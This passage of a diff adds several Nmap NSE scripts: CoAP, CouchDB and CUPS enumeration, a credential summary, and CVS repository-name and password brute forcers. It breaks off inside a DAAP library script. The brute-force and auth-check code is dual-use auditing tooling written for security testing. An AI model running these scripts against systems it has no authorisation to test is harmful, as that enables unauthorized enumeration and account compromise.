+-- <elem key="ct">0</elem>
+-- <elem key="title">Monitor Reporting</elem>
+-- </table>
+-- <table key="/st">
+-- <elem key="ct">0</elem>
+-- <elem key="title">Status Reporting</elem>
+-- </table>
+-- <table key="/time">
+-- <elem key="ct">0</elem>
+-- <elem key="obs,&lt;/devices/block&gt;;title">Devices Block</elem>
+-- <elem key="title">Internal Clock</elem>
+-- </table>
+-- <table key="/wn">
+-- <elem key="ct">0</elem>
+-- <elem key="title">Warnings Reporting</elem>
+-- </table>
+
+author = "Mak Kolybabi <mak@kolybabi.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery"}
+
+-- TODO: Add 5684 "coaps" if DTLS support is added
+portrule = shortport.port_or_service(5683, "coap", "udp")
+
+format_payload = function(payload)
+ -- Leave strings alone.
+ if type(payload) == "string" then
+ return payload
+ end
+
+ local tbl = stdnse.output_table()
+
+ -- We want to go through all of the links in alphabetical order.
+ table.sort(payload, function(a,b) return a.name < b.name end)
+
+ for _, link in ipairs(payload) do
+ -- We want to go through all of the parameters in alphabetical
+ -- order.
+ table.sort(link.parameters, function(a,b) return a.name < b.name end)
+
+ local row = stdnse.output_table()
+ for _, param in ipairs(link.parameters) do
+ row[param.name] = param.value
+ end
+
+ tbl[link.name] = row
+ end
+
+ return tbl
+end
+
+get_blocks = function(helper, options, b2opt, payload, max_reqs)
+ -- Initialize the block table to store all of our received blocks.
+ local blocks = {}
+ blocks[b2opt.number] = payload
+
+ -- If we don't know the number of the last block, we'll need to use
+ -- the largest number we've seen as the maxumum.
+ local max = b2opt.number
+
+ -- If the first block we received happens to be the last one, either
+ -- by being a one-block sequence or by the endpoint sending us the
+ -- last block in the sequence first, we want to record the final
+ -- number in the sequence.
+ local last = nil
+ if b2opt.more == false then
+ last = b2opt.number
+ max = b2opt.number
+ end
+
+ -- We'll continue to request blocks that are the same size as the
+ -- original block, since the endpoint likely prefers that.
+ local length = b2opt.length
+
+ -- We want to track the number of requests we make so that a
+ -- malicious endpoint can't keep us on the hook forever.
+ for req = 1, max_reqs do
+ -- Determine if there are any blocks in the sequence that we have
+ -- not yet received.
+ local top = max + 1
+ if last then
+ top = last
+ end
+
+ local num = top
+ for i = 0, top do
+ if not blocks[i] then
+ num = i
+ break
+ end
+ end
+
+ -- If the block we think we're missing is at the end of the
+ -- sequence, we've got them all.
+ if last and num >= last then
+ stdnse.debug3("All %d blocks have been retrieved.", last)
+ break
+ end
+
+ -- Create the request.
+ local opts = {
+ ["code"] = "get",
+ ["type"] = "confirmable",
+ ["options"] = {
+ {["name"] = "block2", ["value"] = {
+ ["number"] = num,
+ ["more"] = false,
+ ["length"] = length
+ }}
+ }
+ }
+
+ local components = stringaux.strsplit("/", options.uri)
+ for _, component in ipairs(components) do
+ if component ~= "" then
+ table.insert(opts.options, {["name"] = "uri_path", ["value"] = component})
+ end
+ end
+
+ -- Send the request and receive the response.
+ stdnse.debug3("Requesting block %d of size %d.", num, length)
+ local status, response = helper:request(opts)
+ if not status then
+ return false, response
+ end
+
+ if not response.payload then
+ return false, "Response did not contain a payload."
+ end
+
+ -- Check for the presence of the block2 option, and if it's
+ -- missing then we're going to stop.
+ b2opt = coap.COAP.header.find_option(response, "block2")
+ if not b2opt then
+ stdnse.debug1("Stopped requesting more blocks, response found without block2 option.")
+ break
+ end
+
+ stdnse.debug3("Received block %d of size %d.", b2opt.number, b2opt.length)
+ blocks[b2opt.number] = response.payload
+
+ if b2opt.more == false then
+ stdnse.debug3("Block %d indicates it is the end of the sequence.", b2opt.number, b2opt.length)
+ last = b2opt.number
+ max = b2opt.number
+ elseif b2opt.number > max then
+ max = b2opt.number
+ end
+ end
+
+ -- Reassemble payload, handling potentially missing blocks.
+ local result = ""
+ for i = 1, max do
+ if not blocks[i] then
+ stdnse.debug3("Block %d is missing, replacing with dummy data.", i)
+ result = result .. ("<! missing block %d!>"):format(i)
+ else
+ result = result .. blocks[i]
+ end
+ end
+
+ return true, result
+end
+
+local function parse_args ()
+ local args = {}
+
+ local uri = stdnse.get_script_args(SCRIPT_NAME .. '.uri')
+ if not uri then
+ uri = "/.well-known/core"
+ end
+ args.uri = uri
+
+ return true, args
+end
+
+action = function(host, port)
+ local output = stdnse.output_table()
+
+ -- Parse and sanity check the command line arguments.
+ local status, options = parse_args()
+ if not status then
+ output.ERROR = options
+ return output, output.ERROR
+ end
+
+ -- Create an instance of the CoAP library's client object.
+ local helper = coap.Helper:new(host, port)
+
+ -- Connect to the CoAP endpoint.
+ local status, response = helper:connect({["uri"] = options.uri})
+ if not status then
+ -- Erros at this stage indicate we're probably not talking to a CoAP server,
+ -- so we exit silently.
+ return nil
+ end
+
+ -- Check that the response is a 2.05, otherwise we don't know how to
+ -- continue.
+ if response.code ~= "content" then
+ -- If the port runs an echo service, we'll see an unexpected 'get' code.
+ if response.code == "get" then
+ -- Exit silently, this has all been a mistake.
+ return nil
+ end
+
+ -- If the requested resource wasn't found, that's okay.
+ if response.code == "not_found" then
+ stdnse.debug1("The target reports that the resource '%s' was not found.", options.uri)
+ return nil
+ end
+
+ -- Otherwise, we assume that we're getting a legitimate CoAP response.
+ output.ERROR = ("Server responded with '%s' code where 'content' was expected."):format(response.code)
+ return output, output.ERROR
+ end
+
+ local result = response.payload
+ if not result then
+ output.ERROR = "Payload for initial response was not part of the packet."
+ return output, output.ERROR
+ end
+
+ -- Check for the presence of the block2 option, which indicates that
+ -- we'll need to perform more requests.
+ local b2opt = coap.COAP.header.find_option(response, "block2")
+ if b2opt then
+ -- Since the block2 option was used, the payload should be an unparsed string.
+ assert(type(result) == "string")
+
+ local status, payload = get_blocks(helper, options, b2opt, result, 64)
+ if not status then
+ output.ERROR = result
+ return output, output.ERROR
+ end
+ result = result .. payload
+
+ -- Parse the payload.
+ local status, parsed = coap.COAP.payload.parse(response, result)
+ if not status then
+ stdnse.debug1("Failed to parse payload: %s", parsed)
+ stdnse.debug1("Falling back to returning raw payload as last resort.")
+ output["Raw CoAP response"] = result
+ return output, stdnse.format_output(true, output)
+ end
+
+ result = parsed
+ end
+
+ -- Regardless of whether the block2 option was used, we should now have a
+ -- parsed payload in some format or another. For now, they should all be
+ -- strings or tables.
+ assert(type(result) == "string" or type(result) == "table")
+
+ -- If the payload has been parsed, and we requested the default
+ -- resource, then we know how to format it nicely.
+ local formatted = result
+ if true then
+ formatted = format_payload(result)
+ end
+
+ return formatted
+end
diff --git a/scripts/couchdb-databases.nse b/scripts/couchdb-databases.nse
new file mode 100644
index 0000000..c53c04b
--- /dev/null
+++ b/scripts/couchdb-databases.nse
@@ -0,0 +1,97 @@
+local http = require "http"
+local json = require "json"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Gets database tables from a CouchDB database.
+
+For more info about the CouchDB HTTP API, see
+http://wiki.apache.org/couchdb/HTTP_database_API.
+]]
+
+---
+-- @usage
+-- nmap -p 5984 --script "couchdb-databases.nse" <host>
+-- @output
+-- PORT STATE SERVICE REASON
+-- 5984/tcp open unknown syn-ack
+-- | couchdb-databases:
+-- | 1 = test_suite_db
+-- | 2 = test_suite_db_a
+-- | 3 = test_suite_db/with_slashes
+-- | 4 = moneyz
+-- | 5 = creditcards
+-- | 6 = test_suite_users
+-- |_ 7 = test_suite_db_b
+
+-- version 0.2
+-- Created 01/12/2010 - v0.1 - created by Martin Holst Swende <martin@swende.se>
+
+-- TODO : Authentication not implemented
+
+author = "Martin Holst Swende"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+portrule = shortport.port_or_service({5984})
+-- Some lazy shortcuts
+local dbg = stdnse.debug1
+
+local DISCARD = {}
+--- Removes uninteresting data from the table
+-- uses the DISCARD table above to see what
+-- keys should be omitted from the results
+-- @param data a table containing data
+--@return another table containing data, with some keys removed
+local function queryResultToTable(data)
+ local result = {}
+ for k,v in pairs(data) do
+ dbg("(%s,%s)",k,tostring(v))
+ if DISCARD[k] ~= 1 then
+ if type(v) == 'table' then
+ table.insert(result,k)
+ table.insert(result,queryResultToTable(v))
+ else
+ table.insert(result,(("%s = %s"):format(tostring(k), tostring(v))))
+ end
+ end
+ end
+ return result
+end
+
+action = function(host, port)
+ local data, result, err
+ dbg("Requesting all databases")
+ data = http.get( host, port, '/_all_dbs' )
+
+ -- check that body was received
+ if not data.body or data.body == "" then
+ local msg = ("%s did not respond with any data."):format(host.targetname or host.ip )
+ dbg( msg )
+ return msg
+ end
+
+ -- The html body should look like this :
+ -- ["somedatabase", "anotherdatabase"]
+
+ local status, result = json.parse(data.body)
+ if not status then
+ dbg(result)
+ return result
+ end
+
+ -- Here we know it is a couchdb
+ port.version.name ='httpd'
+ port.version.product='Apache CouchDB'
+ nmap.set_port_version(host,port)
+
+ -- We have a valid table in result containing the parsed json
+ -- now, get all the interesting bits
+
+ result = queryResultToTable(result)
+
+ return stdnse.format_output(true, result )
+end
diff --git a/scripts/couchdb-stats.nse b/scripts/couchdb-stats.nse
new file mode 100644
index 0000000..9bcfe8b
--- /dev/null
+++ b/scripts/couchdb-stats.nse
@@ -0,0 +1,225 @@
+local http = require "http"
+local json = require "json"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Gets database statistics from a CouchDB database.
+
+For more info about the CouchDB HTTP API and the statistics, see
+http://wiki.apache.org/couchdb/Runtime_Statistics
+and
+http://wiki.apache.org/couchdb/HTTP_database_API.
+]]
+
+---
+-- @usage
+-- nmap -p 5984 --script "couchdb-stats.nse" <host>
+-- @output
+-- PORT STATE SERVICE REASON
+-- 5984/tcp open httpd syn-ack
+-- | couchdb-stats:
+-- | httpd_request_methods
+-- | GET (number of HTTP GET requests)
+-- | current = 5
+-- | count = 1617
+-- | couchdb
+-- | request_time (length of a request inside CouchDB without MochiWeb)
+-- | current = 1
+-- | count = 5
+-- | httpd_status_codes
+-- | 200 (number of HTTP 200 OK responses)
+-- | current = 5
+-- | count = 1617
+-- | httpd
+-- | requests (number of HTTP requests)
+-- | current = 5
+-- | count = 1617
+-- |_ Authentication : NOT enabled ('admin party')
+
+-- version 0.3
+--
+-- Created 01/20/2010 - v0.1 - created by Martin Holst Swende <martin@swende.se>
+-- Modified 07/02/2010 - v0.2 - added test if auth is enabled, compacted output a bit (mhs)
+
+author = "Martin Holst Swende"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+portrule = shortport.port_or_service({5984})
+-- Some lazy shortcuts
+local dbg = stdnse.debug1
+
+local DISCARD = {stddev=1,min=1,max=1, mean=1}
+--- Removes uninteresting data from the table
+-- uses the DISCARD table above to see what
+-- keys should be omitted from the results
+-- @param data a table containing data
+--@return another table containing data, with some keys removed
+local function queryResultToTable(data)
+ local result = {}
+ for k,v in pairs(data) do
+ dbg("(%s,%s)",k,tostring(v))
+ if DISCARD[k] ~= 1 then
+ if type(v) == 'table' then
+ if v["description"] ~= nil then
+ k = string.format("%s (%s)",tostring(k), tostring(v["description"]))
+ v["description"] = nil
+ end
+ table.insert(result,k)
+ table.insert(result,queryResultToTable(v))
+ else
+ table.insert(result,(("%s = %s"):format(tostring(k), tostring(v))))
+ end
+ end
+ end
+ return result
+end
+
+
+action = function(host, port)
+ local data, result, err
+
+ data = http.get( host, port, '/_stats' )
+
+ -- check that body was received
+ if not data.body or data.body == "" then
+ local msg = ("%s did not respond with any data."):format(host.targetname or host.ip )
+ dbg( msg )
+ return msg
+ end
+
+ -- The html body should look like this (minus whitespace):
+ --[[
+{
+ "httpd_status_codes": {
+ "200": {
+ "count": 29894,
+ "description": "number of HTTP 200 OK responses",
+ "min": 0,
+ "max": 1,
+ "current": 10,
+ "stddev": 0.01828669972606202,
+ "mean": 0.0003345152873486337
+ },
+ "500": {
+ "count": 28429,
+ "description": "number of HTTP 500 Internal Server Error responses",
+ "min": 0,
+ "max": 1,
+ "current": 1,
+ "stddev": 0.005930776661631644,
+ "mean": 3.517534911534013e-05
+ }
+ },
+ "httpd": {
+ "requests": {
+ "count": 29894,
+ "description": "number of HTTP requests",
+ "min": 0,
+ "max": 2,
+ "current": 12,
+ "stddev": 0.02163701147572207,
+ "mean": 0.00040141834481835866
+ }
+ },
+ "couchdb": {
+ "request_time": {
+ "count": 12,
+ "description": "length of a request inside CouchDB without MochiWeb",
+ "min": 1,
+ "max": 287,
+ "current": 23,
+ "stddev": 77.76723638882608,
+ "mean": 32.58333333333333
+ }
+ },
+ "httpd_request_methods": {
+ "GET": {
+ "count": 29894,
+ "description": "number of HTTP GET requests",
+ "min": 0,
+ "max": 2,
+ "current": 12,
+ "stddev": 0.02163701147572207,
+ "mean": 0.00040141834481835866
+ }
+ }
+}
+ ]]--
+
+ local status, result = json.parse(data.body)
+ if not status then
+ dbg(result)
+ return result
+ end
+
+ -- Here we know it is a couchdb
+ port.version.name ='httpd'
+ port.version.product='Apache CouchDB'
+ nmap.set_port_version(host,port)
+
+ -- We have a valid table in result containing the parsed json
+ -- now, get all the interesting bits
+
+ result = queryResultToTable(result)
+
+ -- Additionally, we can check if authentication is used :
+ -- The following actions are restricted if auth is used
+ -- create db (PUT /database)
+ -- delete db (DELETE /database)
+ -- Creating a design document (PUT /database/_design/app)
+ -- Updating a design document (PUT /database/_design/app?rev=1-4E2)
+ -- Deleting a design document (DELETE /database/_design/app?rev=1-6A7)
+ -- Triggering compaction (POST /_compact)
+ -- Reading the task status list (GET /_active_tasks)
+ -- Restart the server (POST /_restart)
+ -- Read the active configuration (GET /_config)
+ -- Update the active configuration (PUT /_config)
+
+ data = http.get( host, port, '/_config' )
+ local status, authresult = json.parse(data.body)
+
+ -- If authorization is used, we should get back something like
+ -- {"error":"unauthorized","reason":"You are not a server admin."}
+ -- Otherwise, a *lot* of data, :
+ -- {"httpd_design_handlers":{"_info":"{couch_httpd_db, handle_design_info_req}",
+ -- "_list":"{couch_httpd_show, handle_view_list_req}","_show":"{couch_httpd_show, handle_doc_show_req}",
+ -- "_update":"{couch_httpd_show, handle_doc_update_req}","_view":"{couch_httpd_view, handle_view_req}"},
+ -- "httpd_global_handlers":{"/":"{couch_httpd_misc_handlers, handle_welcome_req, <<\"Welcome\">>}",
+ -- "_active_tasks":"{couch_httpd_misc_handlers, handle_task_status_req}",
+ -- "_all_dbs":"{couch_httpd_misc_handlers, handle_all_dbs_req}",
+ -- "_config":"{couch_httpd_misc_handlers, handle_config_req}",
+ -- "_log":"{couch_httpd_misc_handlers, handle_log_req}","_oauth":"{couch_httpd_oauth, handle_oauth_req}",
+ -- "_replicate":"{couch_httpd_misc_handlers, handle_replicate_req}","_restart":"{couch_httpd_misc_handlers, handle_restart_req}",
+ -- "_session":"{couch_httpd_auth, handle_session_req}","_sleep":"{couch_httpd_misc_handlers, handle_sleep_req}",
+ -- "_stats":"{couch_httpd_stats_handlers, handle_stats_req}","_user":"{couch_httpd_auth, handle_user_req}",
+ -- "_utils":"{couch_httpd_misc_handlers, handle_utils_dir_req, \"/usr/share/couchdb/www\"}",
+ -- "_uuids":"{couch_httpd_misc_handlers, handle_uuids_req}","favicon.ico":"{couch_httpd_misc_handlers, handle_favicon_req, \"/usr/share/couchdb/www\"}"},
+ -- "query_server_config":{"reduce_limit":"true"},"log":{"file":"/var/log/couchdb/0.10.0/couch.log","level":"info"},
+ -- "query_servers":{"javascript":"/usr/bin/couchjs /usr/share/couchdb/server/main.js"},
+ -- "daemons":{"batch_save":"{couch_batch_save_sup, start_link, []}","db_update_notifier":"{couch_db_update_notifier_sup, start_link, []}",
+ -- "external_manager":"{couch_external_manager, start_link, []}","httpd":"{couch_httpd, start_link, []}",
+ -- "query_servers":"{couch_query_servers, start_link, []}","stats_aggregator":"{couch_stats_aggregator, start, []}",
+ -- "stats_collector":"{couch_stats_collector, start, []}","view_manager":"{couch_view, start_link, []}"},
+ -- "httpd":{"WWW-Authenticate":"Basic realm=\"administrator\"","authentication_handlers":"{couch_httpd_oauth, oauth_authentication_handler}, {couch_httpd_auth, default_authentication_handler}",
+ -- "bind_address":"127.0.0.1","default_handler":"{couch_httpd_db, handle_request}","port":"5984"},"httpd_db_handlers":{"_changes":"{couch_httpd_db, handle_changes_req}",
+ -- "_compact":"{couch_httpd_db, handle_compact_req}","_design":"{couch_httpd_db, handle_design_req}","_temp_view":"{couch_httpd_view, handle_temp_view_req}",
+ -- "_view":"{couch_httpd_view, handle_db_view_req}","_view_cleanup":"{couch_httpd_db, handle_view_cleanup_req}"},
+ -- "couch_httpd_auth":{"authentication_db":"users","require_valid_user":"false","secret":"replace this with a real secret in your local.ini file"},
+ -- "couchdb":{"batch_save_interval":"1000","batch_save_size":"1000","database_dir":"/var/lib/couchdb/0.10.0","delayed_commits":"true",
+ -- "max_attachment_chunk_size":"4294967296","max_dbs_open":"100","max_document_size":"4294967296",
+ -- "os_process_timeout":"5000","util_driver_dir":"/usr/lib/couchdb/erlang/lib/couch-0.10.0/priv/lib","view_index_dir":"/var/lib/couchdb/0.10.0"}}
+ local auth = "Authentication : %s"
+ local authEnabled = "unknown"
+
+ if(status) then
+ if(authresult["error"] == "unauthorized") then authEnabled = "enabled"
+ elseif (authresult["httpd_design_handlers"] ~= nil) then authEnabled = "NOT enabled ('admin party')"
+ end
+ end
+ table.insert(result, auth:format(authEnabled))
+ return stdnse.format_output(true, result )
+end
diff --git a/scripts/creds-summary.nse b/scripts/creds-summary.nse
new file mode 100644
index 0000000..4b9a495
--- /dev/null
+++ b/scripts/creds-summary.nse
@@ -0,0 +1,41 @@
+local creds = require "creds"
+
+description = [[
+Lists all discovered credentials (e.g. from brute force and default password checking scripts) at end of scan.
+]]
+
+---
+--@output
+-- | creds-summary:
+-- | 10.10.10.10
+-- | 22/ssh
+-- | lisbon:jane - Account is valid
+-- | 10.10.10.20
+-- | 21/ftp
+-- | jane:redjohn - Account is locked
+-- | 22/ssh
+-- | cho:secret11 - Account is valid
+-- | 23/telnet
+-- | rigsby:pelt - Account is valid
+-- | pelt:rigsby - Password needs to be changed at next logon
+-- | 80/http
+-- | lisbon:jane - Account is valid
+-- | jane:redjohn - Account is locked
+-- |_ cho:secret11 - Account is valid
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth", "default", "safe"}
+
+
+postrule = function()
+ local all = creds.Credentials:new(creds.ALL_DATA)
+ local tab = all:getTable()
+ if ( tab and next(tab) ) then return true end
+end
+
+action = function()
+ local all = creds.Credentials:new(creds.ALL_DATA)
+ return all:getTable()
+end
diff --git a/scripts/cups-info.nse b/scripts/cups-info.nse
new file mode 100644
index 0000000..9f96c78
--- /dev/null
+++ b/scripts/cups-info.nse
@@ -0,0 +1,79 @@
+local ipp = require "ipp"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Lists printers managed by the CUPS printing service.
+]]
+
+---
+-- @usage
+-- nmap -p 631 <ip> --script cups-info
+--
+-- @output
+-- PORT STATE SERVICE
+-- 631/tcp open ipp
+-- | cups-info:
+-- | Generic-PostScript-Printer
+-- | DNS-SD Name: Lexmark S300-S400 Series @ ubu1110
+-- | Location:
+-- | Model: Local Raw Printer
+-- | State: Processing
+-- | Queue: 0 print jobs
+-- | Lexmark-S300-S400-Series
+-- | DNS-SD Name: Lexmark S300-S400 Series @ ubu1110
+-- | Location:
+-- | Model: Local Raw Printer
+-- | State: Stopped
+-- | Queue: 0 print jobs
+-- | PDF
+-- | DNS-SD Name: PDF @ ubu1110
+-- | Location:
+-- | Model: Generic CUPS-PDF Printer
+-- | State: Idle
+-- |_ Queue: 0 print jobs
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery"}
+
+
+portrule = shortport.port_or_service(631, "ipp", "tcp", "open")
+
+local verbose_states = {
+ [ipp.IPP.PrinterState.IPP_PRINTER_IDLE] = "Idle",
+ [ipp.IPP.PrinterState.IPP_PRINTER_PROCESSING] = "Processing",
+ [ipp.IPP.PrinterState.IPP_PRINTER_STOPPED] = "Stopped",
+ }
+
+action = function(host, port)
+
+ local helper = ipp.Helper:new(host, port)
+ if ( not(helper:connect()) ) then
+ return stdnse.format_output(false, "Failed to connect to server")
+ end
+
+ local status, printers = helper:getPrinters()
+ if ( not(status) ) then
+ return
+ end
+
+ local output = {}
+ for _, printer in ipairs(printers) do
+ table.insert(output, {
+ name = printer.name,
+ ("DNS-SD Name: %s"):format(printer.dns_sd_name or ""),
+ ("Location: %s"):format(printer.location or ""),
+ ("Model: %s"):format(printer.model or ""),
+ ("State: %s"):format(verbose_states[printer.state] or ""),
+ ("Queue: %s print jobs"):format(tonumber(printer.queue_count) or 0),
+ } )
+ end
+
+ if ( 0 ~= #output ) then
+ return stdnse.format_output(true, output)
+ end
+end
diff --git a/scripts/cups-queue-info.nse b/scripts/cups-queue-info.nse
new file mode 100644
index 0000000..e89b1ae
--- /dev/null
+++ b/scripts/cups-queue-info.nse
@@ -0,0 +1,47 @@
+local ipp = require "ipp"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Lists currently queued print jobs of the remote CUPS service grouped by
+printer.
+]]
+
+---
+-- @usage
+-- nmap -p 631 <ip> --script cups-queue-info
+--
+-- @output
+-- PORT STATE SERVICE
+-- 631/tcp open ipp
+-- | cups-queue-info:
+-- | HP Laserjet
+-- | id time state size (kb) owner jobname
+-- | 14 2012-04-26 22:01:19 Held 2071k Patrik Karlsson Print - CUPS Implementation of IPP - Documentation - CUPS
+-- | Generic-PostScript-Printer
+-- | id time state size (kb) owner jobname
+-- | 3 2012-04-16 23:25:47 Pending 11k Unknown Unknown
+-- | 4 2012-04-16 23:33:21 Pending 11k Unknown Unknown
+-- |_ 11 2012-04-24 08:15:14 Pending 13k Unknown Unknown
+--
+
+categories = {"safe", "discovery"}
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery"}
+
+
+portrule = shortport.port_or_service(631, "ipp", "tcp", "open")
+
+action = function(host, port)
+ local helper = ipp.Helper:new(host, port)
+ if ( not(helper:connect()) ) then
+ return stdnse.format_output(false, "Failed to connect to server")
+ end
+
+ local output = helper:getQueueInfo()
+ if ( output ) then
+ return stdnse.format_output(true, output)
+ end
+end
diff --git a/scripts/cvs-brute-repository.nse b/scripts/cvs-brute-repository.nse
new file mode 100644
index 0000000..f0b678a
--- /dev/null
+++ b/scripts/cvs-brute-repository.nse
@@ -0,0 +1,129 @@
+local brute = require "brute"
+local coroutine = require "coroutine"
+local creds = require "creds"
+local cvs = require "cvs"
+local io = require "io"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local unpwdb = require "unpwdb"
+
+description = [[
+Attempts to guess the name of the CVS repositories hosted on the remote server.
+With knowledge of the correct repository name, usernames and passwords can be guessed.
+]]
+
+---
+-- @usage
+-- nmap -p 2401 --script cvs-brute-repository <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 2401/tcp open cvspserver syn-ack
+-- | cvs-brute-repository:
+-- | Repositories
+-- | /myrepos
+-- | /demo
+-- | Statistics
+-- |_ Performed 14 guesses in 1 seconds, average tps: 14
+--
+-- @args cvs-brute-repository.nodefault when set the script does not attempt to
+-- guess the list of hardcoded repositories
+-- @args cvs-brute-repository.repofile a file containing a list of repositories
+-- to guess
+
+-- Version 0.2
+-- Created 07/13/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 08/07/2012 - v0.2 - revised to suit the changes in brute
+-- library [Aleksandar Nikolic]
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(2401, "cvspserver")
+
+Driver =
+{
+
+ new = function(self, host, port )
+ local o = { host = host, helper = cvs.Helper:new(host, port) }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function( self )
+ self.helper:connect()
+ return true
+ end,
+
+ login = function( self, username, password )
+ username = ""
+ if ( password:sub(1,1) ~= "/" ) then password = "/" .. password end
+ local status, err = self.helper:login( password, "repository", "repository" )
+ if ( not(status) and err:match("I HATE YOU") ) then
+ -- let's store the repositories in the registry so the brute
+ -- script can use them later.
+ self.host.registry.cvs_repos = self.host.registry.cvs_repos or {}
+ table.insert(self.host.registry.cvs_repos, password)
+ return true, creds.Account:new(username, password, 0)
+ end
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function( self )
+ self.helper:close()
+ end,
+
+}
+
+
+action = function(host, port)
+
+ local status, result
+ local engine = brute.Engine:new(Driver, host, port)
+
+ -- a list of "common" repository names:
+ -- the first two are Debian/Ubuntu default names
+ -- the rest were found during tests or in google searches
+ local repos = {"myrepos", "demo", "cvs", "cvsroot", "prod", "src", "test",
+ "source", "devel", "cvsroot", "/var/lib/cvsroot",
+ "cvs-repository", "/home/cvsroot", "/var/cvs",
+ "/usr/local/cvs"}
+
+ local repofile = stdnse.get_script_args("cvs-brute-repository.repofile")
+ local f
+
+ if ( repofile ) then
+ f = io.open( repofile, "r" )
+ if ( not(f) ) then
+ return stdnse.format_output(false, ("Failed to open repository file: %s"):format(repofile))
+ end
+ end
+
+ local function repository_iterator()
+ local function next_repo()
+ for line in f:lines() do
+ if ( not(line:match("#!comment")) ) then
+ coroutine.yield("", line)
+ end
+ end
+ while(true) do coroutine.yield(nil, nil) end
+ end
+ return coroutine.wrap(next_repo)
+ end
+
+ engine.options:setTitle("Repositories")
+ engine.options.script_name = SCRIPT_NAME
+ engine.options.passonly = true
+ engine.options.firstonly = false
+ engine.options.nostore = true
+ engine.iterator = brute.Iterators.account_iterator({""}, repos, "user")
+ if ( repofile ) then engine.iterator = unpwdb.concat_iterators(engine.iterator,repository_iterator()) end
+ status, result = engine:start()
+
+ return result
+end
+
diff --git a/scripts/cvs-brute.nse b/scripts/cvs-brute.nse
new file mode 100644
index 0000000..1d55bdb
--- /dev/null
+++ b/scripts/cvs-brute.nse
@@ -0,0 +1,106 @@
+local brute = require "brute"
+local creds = require "creds"
+local cvs = require "cvs"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Performs brute force password auditing against CVS pserver authentication.
+]]
+
+---
+-- @usage
+-- nmap -p 2401 --script cvs-brute <host>
+--
+-- @output
+-- 2401/tcp open cvspserver syn-ack
+-- | cvs-brute:
+-- | Accounts
+-- | hotchner:francisco - Account is valid
+-- | reid:secret - Account is valid
+-- | Statistics
+-- |_ Performed 544 guesses in 14 seconds, average tps: 38
+--
+-- @args cvs-brute.repo string containing the name of the repository to brute
+-- if no repo was given the script checks the registry for any
+-- repositories discovered by the cvs-brute-repository script. If the
+-- registry contains any discovered repositories, the script attempts to
+-- brute force the credentials for the first one.
+
+-- Version 0.1
+-- Created 07/13/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+dependencies = {"cvs-brute-repository"}
+
+
+portrule = shortport.port_or_service(2401, "cvspserver")
+
+Driver =
+{
+
+ new = function(self, host, port, repo)
+ local o = { repo = repo, helper = cvs.Helper:new(host, port) }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function( self )
+ self.helper:connect(brute.new_socket())
+ return true
+ end,
+
+ login = function( self, username, password )
+ local status, err = self.helper:login( self.repo, username, password )
+ if ( status ) then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+
+ -- This error seems to indicate that the user does not exist
+ if ( err:match("E PAM start error%: Critical error %- immediate abort\0$") ) then
+ stdnse.debug2("The user %s does not exist", username)
+ local err = brute.Error:new("Account invalid")
+ err:setInvalidAccount(username)
+ return false, err
+ end
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function( self )
+ self.helper:close()
+ end,
+
+}
+
+local function getDiscoveredRepos(host)
+
+ if ( not(host.registry.cvs_repos)) then
+ return
+ end
+
+ return host.registry.cvs_repos
+end
+
+action = function(host, port)
+
+ local repo = stdnse.get_script_args("cvs-brute.repo") and
+ { stdnse.get_script_args("cvs-brute.repo") } or
+ getDiscoveredRepos(host)
+ if ( not(repo) ) then stdnse.verbose1("ERROR: No CVS repository specified (see cvs-brute.repo)") end
+
+ local status, result
+
+ -- If repositories were discovered and not overridden by argument
+ -- only attempt to brute force the first one.
+ local engine = brute.Engine:new(Driver, host, port, repo[1])
+
+ engine.options.script_name = SCRIPT_NAME
+ status, result = engine:start()
+
+ return result
+end
+
diff --git a/scripts/daap-get-library.nse b/scripts/daap-get-library.nse
new file mode 100644
index 0000000..a39fca4
--- /dev/null
+++ b/scripts/daap-get-library.nse
@@ -0,0 +1,332 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Retrieves a list of music from a DAAP server. The list includes artist
+names and album and song titles.
+
+Output will be capped to 100 items if not otherwise specified in the
+<code>daap_item_limit</code> script argument. A
+<code>daap_item_limit</code> below zero outputs the complete contents of
+the DAAP library.
+
+Based on documentation found here:
+http://www.tapjam.net/daap/.
+]]
+
+---
+-- @args daap_item_limit Changes the output limit from 100 songs. If set to a negative value, no limit is enforced.
+--
+-- @output
+-- | daap-get-library:
+-- | BUBBA|TWO
+-- | Fever Ray
+-- | Fever Ray (Deluxe Edition)
+-- | Concrete Walls
+-- | I'm Not Done
+-- | Here Before
+-- | Now's The Only Time I Know
+-- | Stranger Than Kindness
